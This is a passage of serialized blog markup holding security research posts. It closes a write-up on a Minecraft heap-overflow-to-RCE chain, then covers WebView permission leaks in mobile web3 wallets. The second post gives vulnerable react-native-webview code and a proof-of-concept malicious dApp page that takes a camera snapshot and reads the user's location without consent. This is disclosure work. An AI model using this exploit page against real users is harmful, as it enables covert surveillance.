`system`\n",{"type":20,"tag":315,"props":154706,"children":154707},{"class":317,"line":7444},[154708,154712,154716,154721,154726,154730],{"type":20,"tag":315,"props":154709,"children":154710},{"style":328},[154711],{"type":26,"value":154483},{"type":20,"tag":315,"props":154713,"children":154714},{"style":541},[154715],{"type":26,"value":1604},{"type":20,"tag":315,"props":154717,"children":154718},{"style":2652},[154719],{"type":26,"value":154720},"\"cmd.exe",{"type":20,"tag":315,"props":154722,"children":154723},{"style":46624},[154724],{"type":26,"value":154725},"\\x00",{"type":20,"tag":315,"props":154727,"children":154728},{"style":2652},[154729],{"type":26,"value":18463},{"type":20,"tag":315,"props":154731,"children":154732},{"style":328},[154733],{"type":26,"value":18116},{"type":20,"tag":219,"props":154735,"children":154737},{"id":154736},"demo",[154738],{"type":26,"value":154739},"Demo",{"type":20,"tag":29,"props":154741,"children":154742},{},[154743],{"type":26,"value":154744},"The demo video below shows a Molang script achieving arbitrary read and write primitives to execute the previous ROP chain:",{"type":20,"tag":130116,"props":154746,"children":154749},{"className":154747,"controls":15},[140083,154748],"blog-video-wide",[154750,154751,154755],{"type":26,"value":140086},{"type":20,"tag":139322,"props":154752,"children":154754},{"src":154753,"type":130114},"/posts/minecraft-heap-overflow-to-rce/demo.mp4",[],{"type":26,"value":140092},{"type":20,"tag":21,"props":154757,"children":154758},{"id":1211},[154759],{"type":26,"value":1214},{"type":20,"tag":29,"props":154761,"children":154762},{},[154763],{"type":26,"value":154764},"This blog post is quite long, which reflects how modern mitigations make remote exploitation highly cumbersome - but still not impossible.",{"type":20,"tag":29,"props":154766,"children":154767},{},[154768],{"type":26,"value":154769},"It also demonstrates an interesting technique of abusing Molang to achieve RCE without relying on client information leaks.",{"type":20,"tag":29,"props":154771,"children":154772},{},[154773],{"type":26,"value":154774},"Finally, it highlights an underexplored area in security: video games. Even massively popular games like Minecraft contain large, complex, and unexplored attack surfaces.",{"type":20,"tag":1226,"props":154776,"children":154777},{},[154778],{"type":26,"value":1230},{"title":7,"searchDepth":356,"depth":356,"links":154780},[154781,154785,154790,154801],{"id":145441,"depth":356,"text":145444,"children":154782},[154783,154784],{"id":145476,"depth":365,"text":145479},{"id":145492,"depth":365,"text":145495},{"id":145513,"depth":356,"text":145516,"children":154786},[154787,154788,154789],{"id":145529,"depth":365,"text":145532},{"id":145617,"depth":365,"text":145620},{"id":147917,"depth":365,"text":147920},{"id":3812,"depth":356,"text":3815,"children":154791},[154792,154793,154794,154795,154796,154797,154798,154799,154800],{"id":148024,"depth":365,"text":148027},{"id":148049,"depth":365,"text":148052},{"id":148186,"depth":365,"text":148189},{"id":150350,"depth":365,"text":150353},{"id":150712,"depth":365,"text":150715},{"id":151532,"depth":365,"text":151535},{"id":153646,"depth":365,"text":153649},{"id":154264,"depth":365,"text":154267},{"id":154736,"depth":365,"text":154739},{"id":1211,"depth":356,"text":1214},"content:blog:2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce",{"_path":154806,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":154807,"description":154808,"date":154809,"author":154810,"image":154812,"isFeatured":15,"onBlogPage":15,"tags":154814,"body":154816,"_type":1242,"_id":157139,"_source":1244,"_file":157140,"_stem":157141,"_extension":1247},"/blog/2026-06-18-goldmine-of-insecure-webview-integrations","The Goldmine of Insecure WebView Integrations","WebViews in mobile web3 wallets can quietly inherit the permissions granted to the wallet app itself. We found 20+ major wallets where a malicious dApp could access core permissions without authorization.","2026-06-18T12:00:00.000Z",[29617,29616,154811],"nikolaos",{"src":154813,"width":95526,"height":12024},"/posts/insecure-webview-integrations/title.png",[30556,130222,154815],"webview",{"type":17,"children":154817,"toc":157126},[154818,154823,154828,154834,154839,154844,154849,154855,154860,154866,154888,154901,154921,154935,154941,154955,154963,154968,154974,154979,154988,155009,155153,155158,155164,155169,155174,155188,155192,155197,155215,156643,156647,156652,156664,156673,156678,156684,156706,156714,156719,156725,156730,156748,156753,156759,156772,157054,157082,157095,157100,157113,157117,157122],{"type":20,"tag":29,"props":154819,"children":154820},{},[154821],{"type":26,"value":154822},"WebViews are everywhere in mobile web3 wallets, but they are often treated as just a convenient way to load dApps. In reality, they can quietly inherit powerful app capabilities that attackers can exploit.",{"type":20,"tag":29,"props":154824,"children":154825},{},[154826],{"type":26,"value":154827},"In this article, we look at several WebView issues we found across wallet apps and libraries, including some issues in React Native.",{"type":20,"tag":33788,"props":154829,"children":154831},{"id":154830},"exploiting-mobile-webviews",[154832],{"type":26,"value":154833},"Exploiting Mobile WebViews",{"type":20,"tag":29,"props":154835,"children":154836},{},[154837],{"type":26,"value":154838},"A well known feature of most web3 wallets is the ability to interact with decentralized applications, often referred to as dApps.",{"type":20,"tag":29,"props":154840,"children":154841},{},[154842],{"type":26,"value":154843},"For a wallet application to be compatible with various dApps, it must support a message exchange system between the dApp webpage and the underlying wallet. On both Android and iOS, this is often achieved by loading the webpage inside a WebView component.",{"type":20,"tag":29,"props":154845,"children":154846},{},[154847],{"type":26,"value":154848},"Since dApps are such a widely supported feature, our main research goal was to uncover lesser known vulnerabilities affecting most - if not all - WebView implementations. One issue we repeatedly encountered is related to how React Native WebView handles permission requests. In order to understand these vulnerabilities and how they can be exploited, we first need to dig into how iOS and Android WebViews actually work.",{"type":20,"tag":21,"props":154850,"children":154852},{"id":154851},"handling-webview-permissions",[154853],{"type":26,"value":154854},"Handling WebView permissions",{"type":20,"tag":29,"props":154856,"children":154857},{},[154858],{"type":26,"value":154859},"In this section, we'll get into the inner workings of permission requests and how they are handled on Android compared to iOS.",{"type":20,"tag":219,"props":154861,"children":154863},{"id":154862},"android",[154864],{"type":26,"value":154865},"Android",{"type":20,"tag":29,"props":154867,"children":154868},{},[154869,154871,154878,154880,154886],{"type":26,"value":154870},"If we take a look at the Android documentation, the method responsible for granting or denying permission requests is ",{"type":20,"tag":35,"props":154872,"children":154875},{"href":154873,"rel":154874},"https://developer.android.com/reference/android/webkit/WebChromeClient#onPermissionRequest(android.webkit.PermissionRequest)",[39],[154876],{"type":26,"value":154877},"onPermissionRequest",{"type":26,"value":154879},". When a new permission request is triggered by a webpage, this method is called with a ",{"type":20,"tag":119,"props":154881,"children":154883},{"className":154882},[],[154884],{"type":26,"value":154885},"PermissionRequest",{"type":26,"value":154887}," object where the WebView developers must decide whether to grant or deny it.",{"type":20,"tag":1312,"props":154889,"children":154890},{},[154891],{"type":20,"tag":29,"props":154892,"children":154893},{},[154894,154896,154899],{"type":26,"value":154895},"Notify the host application that web content is requesting permission to access the specified resources and the permission currently isn't granted or denied. The host application must invoke PermissionRequest.grant(String",{"type":20,"tag":315,"props":154897,"children":154898},{},[],{"type":26,"value":154900},") or PermissionRequest.deny(). If this method isn't overridden, the permission is denied.",{"type":20,"tag":29,"props":154902,"children":154903},{},[154904,154906,154912,154914,154920],{"type":26,"value":154905},"This object contains all the necessary information to evaluate the request, such as the webpage origin with ",{"type":20,"tag":119,"props":154907,"children":154909},{"className":154908},[],[154910],{"type":26,"value":154911},"getOrigin()",{"type":26,"value":154913}," and the requested permissions with ",{"type":20,"tag":119,"props":154915,"children":154917},{"className":154916},[],[154918],{"type":26,"value":154919},"getResources()",{"type":26,"value":61},{"type":20,"tag":29,"props":154922,"children":154923},{},[154924,154926,154933],{"type":26,"value":154925},"If we read the previous Android documentation carefully, we will see that any permission requests are denied by default. For this reason, most WebView wrappers opt to enable permission granting by overwriting this method, such as the official ",{"type":20,"tag":35,"props":154927,"children":154930},{"href":154928,"rel":154929},"https://chromium.googlesource.com/chromium/src/+/HEAD/android_webview/tools/system_webview_shell/apk/src/org/chromium/webview_shell/WebViewBrowserFragment.java#644",[39],[154931],{"type":26,"value":154932},"webview_shell",{"type":26,"value":154934},". In this instance, no origin checks are performed.",{"type":20,"tag":219,"props":154936,"children":154938},{"id":154937},"ios",[154939],{"type":26,"value":154940},"iOS",{"type":20,"tag":29,"props":154942,"children":154943},{},[154944,154946,154953],{"type":26,"value":154945},"On the contrary, iOS ",{"type":20,"tag":35,"props":154947,"children":154950},{"href":154948,"rel":154949},"https://developer.apple.com/documentation/webkit/wkuidelegate/webview(_:requestmediacapturepermissionfor:initiatedbyframe:type:decisionhandler:)?language=objc",[39],[154951],{"type":26,"value":154952},"documentation",{"type":26,"value":154954}," states that:",{"type":20,"tag":1312,"props":154956,"children":154957},{},[154958],{"type":20,"tag":29,"props":154959,"children":154960},{},[154961],{"type":26,"value":154962},"If you don’t implement this method in your delegate, the system returns WKPermissionDecisionPrompt.",{"type":20,"tag":29,"props":154964,"children":154965},{},[154966],{"type":26,"value":154967},"This effectively means that by default, iOS determines whether a webpage (bound by its security origin) can access any permission using a prompt message. In this way, origin isolation for permission requests on iOS apps is enforced by default.",{"type":20,"tag":21,"props":154969,"children":154971},{"id":154970},"the-shortcomings-of-webview-implementations",[154972],{"type":26,"value":154973},"The shortcomings of WebView implementations",{"type":20,"tag":29,"props":154975,"children":154976},{},[154977],{"type":26,"value":154978},"Most web3 mobile wallets have an in-app feature that allows users to scan QR codes for a more user-friendly transaction experience. However, to use this feature, the user must grant the app permission to access the camera. Since this is a powerful permission, a pop-up will appear.",{"type":20,"tag":29762,"props":154980,"children":154981},{"style":29764},[154982],{"type":20,"tag":2308,"props":154983,"children":154987},{"src":154984,"alt":154985,"style":154986},"/posts/insecure-webview-integrations/image1.png","Camera permission prompt","max-height:360px; width:auto; max-width:100%;",[],{"type":20,"tag":29,"props":154989,"children":154990},{},[154991,154993,154999,155001,155007],{"type":26,"value":154992},"Since most wallets are based on React Native, the most commonly used WebView implementation is ",{"type":20,"tag":119,"props":154994,"children":154996},{"className":154995},[],[154997],{"type":26,"value":154998},"react-native-webview",{"type":26,"value":155000},". If we take a look at how they handle a request that reaches the ",{"type":20,"tag":35,"props":155002,"children":155005},{"href":155003,"rel":155004},"https://github.com/react-native-webview/react-native-webview/blob/eb8ccacd35740af39993725ad1b592d45364a510/android/src/main/java/com/reactnativecommunity/webview/RNCWebChromeClient.java#L146",[39],[155006],{"type":26,"value":154877},{"type":26,"value":155008}," method, we see a similar pattern.",{"type":20,"tag":305,"props":155010,"children":155014},{"className":155011,"code":155012,"language":155013,"meta":7,"style":7},"language-java shiki shiki-themes slack-dark","// If all the permissions are already granted, send the response to the WebView synchronously\nif (requestedAndroidPermissions.isEmpty()) {\n request.grant(grantedPermissions.toArray(new String[0]));\n grantedPermissions = null;\n return;\n}\n","java",[155015],{"type":20,"tag":119,"props":155016,"children":155017},{"__ignoreMap":7},[155018,155026,155055,155115,155135,155146],{"type":20,"tag":315,"props":155019,"children":155020},{"class":317,"line":318},[155021],{"type":20,"tag":315,"props":155022,"children":155023},{"style":1071},[155024],{"type":26,"value":155025},"// If all the permissions are already granted, send the response to the WebView synchronously\n",{"type":20,"tag":315,"props":155027,"children":155028},{"class":317,"line":356},[155029,155033,155037,155042,155046,155051],{"type":20,"tag":315,"props":155030,"children":155031},{"style":525},[155032],{"type":26,"value":528},{"type":20,"tag":315,"props":155034,"children":155035},{"style":328},[155036],{"type":26,"value":463},{"type":20,"tag":315,"props":155038,"children":155039},{"style":635},[155040],{"type":26,"value":155041},"requestedAndroidPermissions",{"type":20,"tag":315,"props":155043,"children":155044},{"style":328},[155045],{"type":26,"value":61},{"type":20,"tag":315,"props":155047,"children":155048},{"style":345},[155049],{"type":26,"value":155050},"isEmpty",{"type":20,"tag":315,"props":155052,"children":155053},{"style":328},[155054],{"type":26,"value":90279},{"type":20,"tag":315,"props":155056,"children":155057},{"class":317,"line":365},[155058,155063,155067,155072,155076,155081,155085,155090,155094,155098,155103,155107,155111],{"type":20,"tag":315,"props":155059,"children":155060},{"style":635},[155061],{"type":26,"value":155062}," request",{"type":20,"tag":315,"props":155064,"children":155065},{"style":328},[155066],{"type":26,"value":61},{"type":20,"tag":315,"props":155068,"children":155069},{"style":345},[155070],{"type":26,"value":155071},"grant",{"type":20,"tag":315,"props":155073,"children":155074},{"style":328},[155075],{"type":26,"value":1049},{"type":20,"tag":315,"props":155077,"children":155078},{"style":635},[155079],{"type":26,"value":155080},"grantedPermissions",{"type":20,"tag":315,"props":155082,"children":155083},{"style":328},[155084],{"type":26,"value":61},{"type":20,"tag":315,"props":155086,"children":155087},{"style":345},[155088],{"type":26,"value":155089},"toArray",{"type":20,"tag":315,"props":155091,"children":155092},{"style":328},[155093],{"type":26,"value":1049},{"type":20,"tag":315,"props":155095,"children":155096},{"style":525},[155097],{"type":26,"value":13523},{"type":20,"tag":315,"props":155099,"children":155100},{"style":322},[155101],{"type":26,"value":155102}," String",{"type":20,"tag":315,"props":155104,"children":155105},{"style":328},[155106],{"type":26,"value":2117},{"type":20,"tag":315,"props":155108,"children":155109},{"style":765},[155110],{"type":26,"value":1063},{"type":20,"tag":315,"props":155112,"children":155113},{"style":328},[155114],{"type":26,"value":101770},{"type":20,"tag":315,"props":155116,"children":155117},{"class":317,"line":374},[155118,155123,155127,155131],{"type":20,"tag":315,"props":155119,"children":155120},{"style":328},[155121],{"type":26,"value":155122}," grantedPermissions ",{"type":20,"tag":315,"props":155124,"children":155125},{"style":334},[155126],{"type":26,"value":337},{"type":20,"tag":315,"props":155128,"children":155129},{"style":541},[155130],{"type":26,"value":68525},{"type":20,"tag":315,"props":155132,"children":155133},{"style":328},[155134],{"type":26,"value":1405},{"type":20,"tag":315,"props":155136,"children":155137},{"class":317,"line":383},[155138,155142],{"type":20,"tag":315,"props":155139,"children":155140},{"style":525},[155141],{"type":26,"value":731},{"type":20,"tag":315,"props":155143,"children":155144},{"style":328},[155145],{"type":26,"value":1405},{"type":20,"tag":315,"props":155147,"children":155148},{"class":317,"line":407},[155149],{"type":20,"tag":315,"props":155150,"children":155151},{"style":328},[155152],{"type":26,"value":577},{"type":20,"tag":29,"props":155154,"children":155155},{},[155156],{"type":26,"value":155157},"As we can see above, if the Android app has already been granted access to the requested permissions, this method simply allows the loaded WebView to use them. This follows the same pattern as Google's WebView Shell implementation - no origin checks being performed. When this behavior is now combined with the typical web3 wallet features, namely dApps, a serious oversight arises.",{"type":20,"tag":219,"props":155159,"children":155161},{"id":155160},"real-world-exploitation",[155162],{"type":26,"value":155163},"Real world exploitation",{"type":20,"tag":29,"props":155165,"children":155166},{},[155167],{"type":26,"value":155168},"As mentioned, web3 mobile apps often use a WebView to load and execute dApps, with the most common implementation being React Native WebView. Developers assume that these WebViews, and especially React Native WebView, provide origin isolation by default for sensitive permissions. However, they do not. This allows any malicious dApp to request and use any permission already granted to the underlying application. No additional user consent checks are performed.",{"type":20,"tag":29,"props":155170,"children":155171},{},[155172],{"type":26,"value":155173},"If the app doesn’t already have these permissions, once the user allows camera or GPS access for a specific dApp inside the wallet, every other dApp can access those permissions without user consent, since there is no origin isolation.",{"type":20,"tag":29,"props":155175,"children":155176},{},[155177,155179,155186],{"type":26,"value":155178},"During our audits and research, we discovered more than 20 major wallets vulnerable to this attack scenario. While most were using React Native WebView, other less frequently used libraries were suffering from the same bug. One such example is the ",{"type":20,"tag":35,"props":155180,"children":155183},{"href":155181,"rel":155182},"https://github.com/Justson/AgentWeb/blob/95d48cd5a03227aa15644c4ef3a65c820b067616/agentweb-core/src/main/java/com/just/agentweb/DefaultChromeClient.java#L250",[39],[155184],{"type":26,"value":155185},"Justson",{"type":26,"value":155187},", used by a popular wallet in the Stellar ecosystem.",{"type":20,"tag":17297,"props":155189,"children":155190},{"id":37921},[155191],{"type":26,"value":33244},{"type":20,"tag":29,"props":155193,"children":155194},{},[155195],{"type":26,"value":155196},"In order to exploit this issue, we assume the following preconditions:",{"type":20,"tag":68,"props":155198,"children":155199},{},[155200,155205,155210],{"type":20,"tag":72,"props":155201,"children":155202},{},[155203],{"type":26,"value":155204},"The user has already granted the camera permission just to the wallet application or to another dApp with a different origin.",{"type":20,"tag":72,"props":155206,"children":155207},{},[155208],{"type":26,"value":155209},"The user is tricked into visiting a malicious dApp or redirected to one from the web.",{"type":20,"tag":72,"props":155211,"children":155212},{},[155213],{"type":26,"value":155214},"Once the dApp loads, the following code will run, allowing the attacker to take a picture with the camera.",{"type":20,"tag":305,"props":155216,"children":155218},{"className":48273,"code":155217,"language":30798,"meta":7,"style":7},"\u003C!DOCTYPE html>\n\u003Chtml>\n\u003Chead>\n \u003Cmeta charset=\"utf-8\">\n \u003Ctitle>\u003C/title>\n\u003C/head>\n\u003Cbody>\n \u003Ch2>Smile dApp :)\u003C/h2>\n \u003Cbutton id=\"connect\">Connect your wallet!\u003C/button>\n \u003Cpre id=\"gps\">\u003C/pre>\n \u003Cimg id=\"pic\">\n \u003Cscript>\n window.addEventListener('unhandledrejection', function (event) {\n alert(`Unhandled Promise Rejection: ${event.reason}`);\n });\n window.onerror = function (msg, url, line, col, error) {\n alert('onerror: ' + msg);\n return false;\n };\n\n async function main() {\n const stream = await navigator.mediaDevices.getUserMedia({ video: true });\n const video = document.createElement(\"video\");\n video.srcObject = stream;\n const canvas = document.createElement(\"canvas\");\n\n video.onloadedmetadata = () => {\n canvas.width = video.videoWidth;\n canvas.height = video.videoHeight;\n };\n\n connect.onclick = e => {\n video.play();\n\n canvas.getContext(\"2d\").drawImage(video, 0, 0);\n stream.getTracks().forEach(t => t.stop());\n canvas.toBlob((blob) => {\n pic.src = URL.createObjectURL(blob);\n });\n\n navigator.geolocation.getCurrentPosition(pos => {\n const c = pos.coords;\n gps.innerText = `Lat: ${c.latitude.toFixed(1)}\\nLon: ${c.longitude.toFixed(1)}`;\n }, err => alert(err));\n };\n\n }\n main();\n \u003C/script>\n\u003C/body>\n\u003C/html>\n",[155219],{"type":20,"tag":119,"props":155220,"children":155221},{"__ignoreMap":7},[155222,155242,155257,155273,155303,155326,155341,155356,155388,155434,155470,155498,155513,155559,155605,155613,155681,155709,155724,155732,155739,155759,155819,155860,155889,155930,155937,155966,156004,156041,156048,156055,156088,156109,156116,156178,156234,156270,156316,156324,156331,156374,156407,156532,156565,156572,156579,156586,156598,156613,156628],{"type":20,"tag":315,"props":155223,"children":155224},{"class":317,"line":318},[155225,155229,155233,155238],{"type":20,"tag":315,"props":155226,"children":155227},{"style":30791},[155228],{"type":26,"value":32640},{"type":20,"tag":315,"props":155230,"children":155231},{"style":541},[155232],{"type":26,"value":32645},{"type":20,"tag":315,"props":155234,"children":155235},{"style":635},[155236],{"type":26,"value":155237}," html",{"type":20,"tag":315,"props":155239,"children":155240},{"style":30791},[155241],{"type":26,"value":4386},{"type":20,"tag":315,"props":155243,"children":155244},{"class":317,"line":356},[155245,155249,155253],{"type":20,"tag":315,"props":155246,"children":155247},{"style":30791},[155248],{"type":26,"value":4199},{"type":20,"tag":315,"props":155250,"children":155251},{"style":541},[155252],{"type":26,"value":30798},{"type":20,"tag":315,"props":155254,"children":155255},{"style":30791},[155256],{"type":26,"value":4386},{"type":20,"tag":315,"props":155258,"children":155259},{"class":317,"line":365},[155260,155264,155269],{"type":20,"tag":315,"props":155261,"children":155262},{"style":30791},[155263],{"type":26,"value":4199},{"type":20,"tag":315,"props":155265,"children":155266},{"style":541},[155267],{"type":26,"value":155268},"head",{"type":20,"tag":315,"props":155270,"children":155271},{"style":30791},[155272],{"type":26,"value":4386},{"type":20,"tag":315,"props":155274,"children":155275},{"class":317,"line":374},[155276,155280,155285,155290,155294,155299],{"type":20,"tag":315,"props":155277,"children":155278},{"style":30791},[155279],{"type":26,"value":505},{"type":20,"tag":315,"props":155281,"children":155282},{"style":541},[155283],{"type":26,"value":155284},"meta",{"type":20,"tag":315,"props":155286,"children":155287},{"style":635},[155288],{"type":26,"value":155289}," charset",{"type":20,"tag":315,"props":155291,"children":155292},{"style":328},[155293],{"type":26,"value":337},{"type":20,"tag":315,"props":155295,"children":155296},{"style":2652},[155297],{"type":26,"value":155298},"\"utf-8\"",{"type":20,"tag":315,"props":155300,"children":155301},{"style":30791},[155302],{"type":26,"value":4386},{"type":20,"tag":315,"props":155304,"children":155305},{"class":317,"line":383},[155306,155310,155314,155318,155322],{"type":20,"tag":315,"props":155307,"children":155308},{"style":30791},[155309],{"type":26,"value":505},{"type":20,"tag":315,"props":155311,"children":155312},{"style":541},[155313],{"type":26,"value":32718},{"type":20,"tag":315,"props":155315,"children":155316},{"style":30791},[155317],{"type":26,"value":48317},{"type":20,"tag":315,"props":155319,"children":155320},{"style":541},[155321],{"type":26,"value":32718},{"type":20,"tag":315,"props":155323,"children":155324},{"style":30791},[155325],{"type":26,"value":4386},{"type":20,"tag":315,"props":155327,"children":155328},{"class":317,"line":407},[155329,155333,155337],{"type":20,"tag":315,"props":155330,"children":155331},{"style":30791},[155332],{"type":26,"value":30845},{"type":20,"tag":315,"props":155334,"children":155335},{"style":541},[155336],{"type":26,"value":155268},{"type":20,"tag":315,"props":155338,"children":155339},{"style":30791},[155340],{"type":26,"value":4386},{"type":20,"tag":315,"props":155342,"children":155343},{"class":317,"line":421},[155344,155348,155352],{"type":20,"tag":315,"props":155345,"children":155346},{"style":30791},[155347],{"type":26,"value":4199},{"type":20,"tag":315,"props":155349,"children":155350},{"style":541},[155351],{"type":26,"value":30815},{"type":20,"tag":315,"props":155353,"children":155354},{"style":30791},[155355],{"type":26,"value":4386},{"type":20,"tag":315,"props":155357,"children":155358},{"class":317,"line":430},[155359,155363,155367,155371,155376,155380,155384],{"type":20,"tag":315,"props":155360,"children":155361},{"style":30791},[155362],{"type":26,"value":505},{"type":20,"tag":315,"props":155364,"children":155365},{"style":541},[155366],{"type":26,"value":21},{"type":20,"tag":315,"props":155368,"children":155369},{"style":30791},[155370],{"type":26,"value":8862},{"type":20,"tag":315,"props":155372,"children":155373},{"style":328},[155374],{"type":26,"value":155375},"Smile dApp :)",{"type":20,"tag":315,"props":155377,"children":155378},{"style":30791},[155379],{"type":26,"value":30845},{"type":20,"tag":315,"props":155381,"children":155382},{"style":541},[155383],{"type":26,"value":21},{"type":20,"tag":315,"props":155385,"children":155386},{"style":30791},[155387],{"type":26,"value":4386},{"type":20,"tag":315,"props":155389,"children":155390},{"class":317,"line":453},[155391,155395,155400,155404,155408,155413,155417,155422,155426,155430],{"type":20,"tag":315,"props":155392,"children":155393},{"style":30791},[155394],{"type":26,"value":505},{"type":20,"tag":315,"props":155396,"children":155397},{"style":541},[155398],{"type":26,"value":155399},"button",{"type":20,"tag":315,"props":155401,"children":155402},{"style":635},[155403],{"type":26,"value":30870},{"type":20,"tag":315,"props":155405,"children":155406},{"style":328},[155407],{"type":26,"value":337},{"type":20,"tag":315,"props":155409,"children":155410},{"style":2652},[155411],{"type":26,"value":155412},"\"connect\"",{"type":20,"tag":315,"props":155414,"children":155415},{"style":30791},[155416],{"type":26,"value":8862},{"type":20,"tag":315,"props":155418,"children":155419},{"style":328},[155420],{"type":26,"value":155421},"Connect your wallet!",{"type":20,"tag":315,"props":155423,"children":155424},{"style":30791},[155425],{"type":26,"value":30845},{"type":20,"tag":315,"props":155427,"children":155428},{"style":541},[155429],{"type":26,"value":155399},{"type":20,"tag":315,"props":155431,"children":155432},{"style":30791},[155433],{"type":26,"value":4386},{"type":20,"tag":315,"props":155435,"children":155436},{"class":317,"line":486},[155437,155441,155445,155449,155453,155458,155462,155466],{"type":20,"tag":315,"props":155438,"children":155439},{"style":30791},[155440],{"type":26,"value":505},{"type":20,"tag":315,"props":155442,"children":155443},{"style":541},[155444],{"type":26,"value":305},{"type":20,"tag":315,"props":155446,"children":155447},{"style":635},[155448],{"type":26,"value":30870},{"type":20,"tag":315,"props":155450,"children":155451},{"style":328},[155452],{"type":26,"value":337},{"type":20,"tag":315,"props":155454,"children":155455},{"style":2652},[155456],{"type":26,"value":155457},"\"gps\"",{"type":20,"tag":315,"props":155459,"children":155460},{"style":30791},[155461],{"type":26,"value":48317},{"type":20,"tag":315,"props":155463,"children":155464},{"style":541},[155465],{"type":26,"value":305},{"type":20,"tag":315,"props":155467,"children":155468},{"style":30791},[155469],{"type":26,"value":4386},{"type":20,"tag":315,"props":155471,"children":155472},{"class":317,"line":499},[155473,155477,155481,155485,155489,155494],{"type":20,"tag":315,"props":155474,"children":155475},{"style":30791},[155476],{"type":26,"value":505},{"type":20,"tag":315,"props":155478,"children":155479},{"style":541},[155480],{"type":26,"value":2308},{"type":20,"tag":315,"props":155482,"children":155483},{"style":635},[155484],{"type":26,"value":30870},{"type":20,"tag":315,"props":155486,"children":155487},{"style":328},[155488],{"type":26,"value":337},{"type":20,"tag":315,"props":155490,"children":155491},{"style":2652},[155492],{"type":26,"value":155493},"\"pic\"",{"type":20,"tag":315,"props":155495,"children":155496},{"style":30791},[155497],{"type":26,"value":4386},{"type":20,"tag":315,"props":155499,"children":155500},{"class":317,"line":513},[155501,155505,155509],{"type":20,"tag":315,"props":155502,"children":155503},{"style":30791},[155504],{"type":26,"value":505},{"type":20,"tag":315,"props":155506,"children":155507},{"style":541},[155508],{"type":26,"value":30831},{"type":20,"tag":315,"props":155510,"children":155511},{"style":30791},[155512],{"type":26,"value":4386},{"type":20,"tag":315,"props":155514,"children":155515},{"class":317,"line":521},[155516,155521,155525,155530,155534,155539,155543,155547,155551,155555],{"type":20,"tag":315,"props":155517,"children":155518},{"style":635},[155519],{"type":26,"value":155520}," window",{"type":20,"tag":315,"props":155522,"children":155523},{"style":334},[155524],{"type":26,"value":61},{"type":20,"tag":315,"props":155526,"children":155527},{"style":345},[155528],{"type":26,"value":155529},"addEventListener",{"type":20,"tag":315,"props":155531,"children":155532},{"style":334},[155533],{"type":26,"value":1049},{"type":20,"tag":315,"props":155535,"children":155536},{"style":2652},[155537],{"type":26,"value":155538},"'unhandledrejection'",{"type":20,"tag":315,"props":155540,"children":155541},{"style":334},[155542],{"type":26,"value":44},{"type":20,"tag":315,"props":155544,"children":155545},{"style":541},[155546],{"type":26,"value":615},{"type":20,"tag":315,"props":155548,"children":155549},{"style":334},[155550],{"type":26,"value":463},{"type":20,"tag":315,"props":155552,"children":155553},{"style":635},[155554],{"type":26,"value":80386},{"type":20,"tag":315,"props":155556,"children":155557},{"style":334},[155558],{"type":26,"value":549},{"type":20,"tag":315,"props":155560,"children":155561},{"class":317,"line":552},[155562,155567,155571,155576,155580,155584,155588,155593,155597,155601],{"type":20,"tag":315,"props":155563,"children":155564},{"style":345},[155565],{"type":26,"value":155566}," alert",{"type":20,"tag":315,"props":155568,"children":155569},{"style":334},[155570],{"type":26,"value":1049},{"type":20,"tag":315,"props":155572,"children":155573},{"style":2652},[155574],{"type":26,"value":155575},"`Unhandled Promise Rejection: ",{"type":20,"tag":315,"props":155577,"children":155578},{"style":541},[155579],{"type":26,"value":32523},{"type":20,"tag":315,"props":155581,"children":155582},{"style":635},[155583],{"type":26,"value":80386},{"type":20,"tag":315,"props":155585,"children":155586},{"style":334},[155587],{"type":26,"value":61},{"type":20,"tag":315,"props":155589,"children":155590},{"style":635},[155591],{"type":26,"value":155592},"reason",{"type":20,"tag":315,"props":155594,"children":155595},{"style":541},[155596],{"type":26,"value":32555},{"type":20,"tag":315,"props":155598,"children":155599},{"style":2652},[155600],{"type":26,"value":8782},{"type":20,"tag":315,"props":155602,"children":155603},{"style":334},[155604],{"type":26,"value":2214},{"type":20,"tag":315,"props":155606,"children":155607},{"class":317,"line":571},[155608],{"type":20,"tag":315,"props":155609,"children":155610},{"style":334},[155611],{"type":26,"value":155612}," });\n",{"type":20,"tag":315,"props":155614,"children":155615},{"class":317,"line":2031},[155616,155620,155624,155628,155632,155636,155640,155644,155648,155652,155656,155660,155664,155669,155673,155677],{"type":20,"tag":315,"props":155617,"children":155618},{"style":635},[155619],{"type":26,"value":155520},{"type":20,"tag":315,"props":155621,"children":155622},{"style":334},[155623],{"type":26,"value":61},{"type":20,"tag":315,"props":155625,"children":155626},{"style":345},[155627],{"type":26,"value":31102},{"type":20,"tag":315,"props":155629,"children":155630},{"style":334},[155631],{"type":26,"value":31325},{"type":20,"tag":315,"props":155633,"children":155634},{"style":541},[155635],{"type":26,"value":615},{"type":20,"tag":315,"props":155637,"children":155638},{"style":334},[155639],{"type":26,"value":463},{"type":20,"tag":315,"props":155641,"children":155642},{"style":635},[155643],{"type":26,"value":56199},{"type":20,"tag":315,"props":155645,"children":155646},{"style":334},[155647],{"type":26,"value":44},{"type":20,"tag":315,"props":155649,"children":155650},{"style":635},[155651],{"type":26,"value":68633},{"type":20,"tag":315,"props":155653,"children":155654},{"style":334},[155655],{"type":26,"value":44},{"type":20,"tag":315,"props":155657,"children":155658},{"style":635},[155659],{"type":26,"value":317},{"type":20,"tag":315,"props":155661,"children":155662},{"style":334},[155663],{"type":26,"value":44},{"type":20,"tag":315,"props":155665,"children":155666},{"style":635},[155667],{"type":26,"value":155668},"col",{"type":20,"tag":315,"props":155670,"children":155671},{"style":334},[155672],{"type":26,"value":44},{"type":20,"tag":315,"props":155674,"children":155675},{"style":635},[155676],{"type":26,"value":13264},{"type":20,"tag":315,"props":155678,"children":155679},{"style":334},[155680],{"type":26,"value":549},{"type":20,"tag":315,"props":155682,"children":155683},{"class":317,"line":2053},[155684,155688,155692,155697,155701,155705],{"type":20,"tag":315,"props":155685,"children":155686},{"style":345},[155687],{"type":26,"value":155566},{"type":20,"tag":315,"props":155689,"children":155690},{"style":334},[155691],{"type":26,"value":1049},{"type":20,"tag":315,"props":155693,"children":155694},{"style":2652},[155695],{"type":26,"value":155696},"'onerror: 